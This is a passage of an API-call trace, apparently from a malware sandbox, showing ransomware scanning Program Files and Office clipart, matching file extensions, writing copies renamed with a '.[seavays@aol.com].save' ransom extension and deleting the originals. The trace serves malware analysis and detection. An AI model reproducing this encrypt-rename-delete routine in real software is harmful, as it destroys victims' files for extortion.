Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.681] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=3524) returned 1 [0206.681] CloseHandle (hObject=0x33c) returned 1 [0206.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0206.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0207.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0207.408] lstrlenW (lpString=".doc") returned 4 [0207.408] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.408] lstrlenW (lpString=".docx") returned 5 [0207.408] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0207.408] lstrlenW (lpString=".pdf") returned 4 [0207.408] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.408] lstrlenW (lpString=".xls") returned 4 [0207.408] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.408] lstrlenW (lpString=".xlsx") returned 5 [0207.408] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0207.408] lstrlenW (lpString=".ppt") returned 4 [0207.408] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0207.408] lstrlenW (lpString=".zip") returned 4 [0207.408] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.408] lstrlenW (lpString=".rar") returned 4 [0207.408] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.408] lstrlenW (lpString=".bz2") returned 4 [0207.408] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.408] lstrlenW (lpString=".7z") returned 3 [0207.408] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0207.408] lstrlenW (lpString=".dbf") returned 4 [0207.408] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0207.408] lstrlenW (lpString=".1cd") returned 4 [0207.409] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0207.409] lstrlenW (lpString=".jpg") returned 4 [0207.409] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0207.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0207.409] lstrlenW (lpString=".doc") returned 4 [0207.409] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.409] lstrlenW (lpString=".docx") returned 5 [0207.409] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0207.409] lstrlenW (lpString=".pdf") returned 4 [0207.409] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.409] lstrlenW (lpString=".xls") returned 4 [0207.409] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.409] lstrlenW (lpString=".xlsx") returned 5 [0207.409] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0207.409] lstrlenW (lpString=".ppt") returned 4 [0207.409] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0207.409] lstrlenW (lpString=".zip") returned 4 [0207.409] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.409] lstrlenW (lpString=".rar") returned 4 [0207.409] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.409] lstrlenW (lpString=".bz2") returned 4 [0207.409] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.409] lstrlenW (lpString=".7z") returned 3 [0207.409] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0207.410] lstrlenW (lpString=".dbf") returned 4 [0207.410] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0207.410] lstrlenW (lpString=".1cd") returned 4 [0207.410] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0207.410] lstrlenW (lpString=".jpg") returned 4 [0207.410] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.410] lstrcmpiW (lpString1=".inc", lpString2=".save") returned -1 [0207.410] lstrlenW (lpString="adovbs.inc") returned 10 [0207.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0207.807] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=15195) returned 1 [0207.807] CloseHandle (hObject=0x37c) returned 1 [0207.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0207.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0207.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0207.807] lstrlenW (lpString=".doc") returned 4 [0207.807] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0207.807] lstrlenW (lpString=".docx") returned 5 [0207.807] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0207.807] lstrlenW (lpString=".pdf") returned 4 [0207.808] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0207.808] lstrlenW (lpString=".xls") returned 4 [0207.808] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0207.808] lstrlenW (lpString=".xlsx") returned 5 [0207.808] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0207.808] lstrlenW (lpString=".ppt") returned 4 [0207.808] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0207.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0207.808] lstrlenW (lpString=".zip") returned 4 [0207.808] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0207.808] lstrlenW (lpString=".rar") returned 4 [0207.808] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0207.808] lstrlenW (lpString=".bz2") returned 4 [0207.808] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0207.808] lstrlenW (lpString=".7z") returned 3 [0207.808] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0207.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0207.808] lstrlenW (lpString=".dbf") returned 4 [0207.808] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0207.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0207.808] lstrlenW (lpString=".1cd") returned 4 [0207.808] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0207.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0207.808] lstrlenW (lpString=".jpg") returned 4 [0207.808] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0207.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0207.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0207.809] lstrlenW (lpString=".doc") returned 4 [0207.809] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0207.809] lstrlenW (lpString=".docx") returned 5 [0207.809] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0207.809] lstrlenW (lpString=".pdf") returned 4 [0207.809] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0207.809] lstrlenW (lpString=".xls") returned 4 [0207.809] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0207.809] lstrlenW (lpString=".xlsx") returned 5 [0207.809] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0207.809] lstrlenW (lpString=".ppt") returned 4 [0207.809] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0207.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0207.809] lstrlenW (lpString=".zip") returned 4 [0207.809] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0207.809] lstrlenW (lpString=".rar") returned 4 [0207.809] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0207.809] lstrlenW (lpString=".bz2") returned 4 [0207.809] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0207.809] lstrlenW (lpString=".7z") returned 3 [0207.809] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0207.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0207.809] lstrlenW (lpString=".dbf") returned 4 [0207.809] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0207.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0207.809] lstrlenW (lpString=".1cd") returned 4 [0207.809] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0207.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0207.809] lstrlenW (lpString=".jpg") returned 4 [0207.809] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0207.810] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0207.810] lstrlenW (lpString="J0099181.WMF") returned 12 [0207.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0207.810] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=1198) returned 1 [0207.810] CloseHandle (hObject=0x37c) returned 1 [0207.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220 [0207.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0207.811] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.811] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0207.811] GetLastError () returned 0x0 [0207.811] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x4ae, lpOverlapped=0x0) returned 1 [0207.832] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x4b0, lpOverlapped=0x0) returned 1 [0207.834] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.834] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.834] SetEndOfFile (hFile=0x380) returned 1 [0207.834] CloseHandle (hObject=0x380) returned 1 [0207.834] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.834] SetEndOfFile (hFile=0x37c) returned 1 [0207.835] CloseHandle (hObject=0x37c) returned 1 [0207.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0207.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0207.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0207.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0207.836] lstrlenW (lpString=".doc") returned 4 [0207.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.836] lstrlenW (lpString=".docx") returned 5 [0207.836] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0207.836] lstrlenW (lpString=".pdf") returned 4 [0207.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.836] lstrlenW (lpString=".xls") returned 4 [0207.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.836] lstrlenW (lpString=".xlsx") returned 5 [0207.837] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0207.837] lstrlenW (lpString=".ppt") returned 4 [0207.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0207.837] lstrlenW (lpString=".zip") returned 4 [0207.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.837] lstrlenW (lpString=".rar") returned 4 [0207.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.837] lstrlenW (lpString=".bz2") returned 4 [0207.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.837] lstrlenW (lpString=".7z") returned 3 [0207.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0207.837] lstrlenW (lpString=".dbf") returned 4 [0207.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0207.837] lstrlenW (lpString=".1cd") returned 4 [0207.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0207.837] lstrlenW (lpString=".jpg") returned 4 [0207.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0207.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0207.837] lstrlenW (lpString=".doc") returned 4 [0207.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.838] lstrlenW (lpString=".docx") returned 5 [0207.838] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0207.838] lstrlenW (lpString=".pdf") returned 4 [0207.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.838] lstrlenW (lpString=".xls") returned 4 [0207.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.838] lstrlenW (lpString=".xlsx") returned 5 [0207.838] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0207.838] lstrlenW (lpString=".ppt") returned 4 [0207.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0207.838] lstrlenW (lpString=".zip") returned 4 [0207.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.838] lstrlenW (lpString=".rar") returned 4 [0207.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.838] lstrlenW (lpString=".bz2") returned 4 [0207.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.838] lstrlenW (lpString=".7z") returned 3 [0207.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0207.838] lstrlenW (lpString=".dbf") returned 4 [0207.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0207.838] lstrlenW (lpString=".1cd") returned 4 [0207.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0207.838] lstrlenW (lpString=".jpg") returned 4 [0207.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.839] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0207.839] lstrlenW (lpString="J0099182.WMF") returned 12 [0207.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0207.839] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=3840) returned 1 [0207.840] CloseHandle (hObject=0x37c) returned 1 [0207.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220 [0207.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0207.840] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.840] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0207.841] GetLastError () returned 0x0 [0207.841] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0xf00, lpOverlapped=0x0) returned 1 [0208.319] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xf10, lpOverlapped=0x0) returned 1 [0208.321] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.322] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.323] SetEndOfFile (hFile=0x380) returned 1 [0208.323] CloseHandle (hObject=0x380) returned 1 [0208.323] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.323] SetEndOfFile (hFile=0x37c) returned 1 [0208.324] CloseHandle (hObject=0x37c) returned 1 [0208.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0208.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0208.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0208.325] lstrlenW (lpString=".doc") returned 4 [0208.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.325] lstrlenW (lpString=".docx") returned 5 [0208.325] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0208.325] lstrlenW (lpString=".pdf") returned 4 [0208.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.325] lstrlenW (lpString=".xls") returned 4 [0208.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.325] lstrlenW (lpString=".xlsx") returned 5 [0208.325] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0208.325] lstrlenW (lpString=".ppt") returned 4 [0208.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0208.325] lstrlenW (lpString=".zip") returned 4 [0208.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.326] lstrlenW (lpString=".rar") returned 4 [0208.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.326] lstrlenW (lpString=".bz2") returned 4 [0208.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.326] lstrlenW (lpString=".7z") returned 3 [0208.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0208.326] lstrlenW (lpString=".dbf") returned 4 [0208.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0208.326] lstrlenW (lpString=".1cd") returned 4 [0208.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0208.326] lstrlenW (lpString=".jpg") returned 4 [0208.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0208.326] 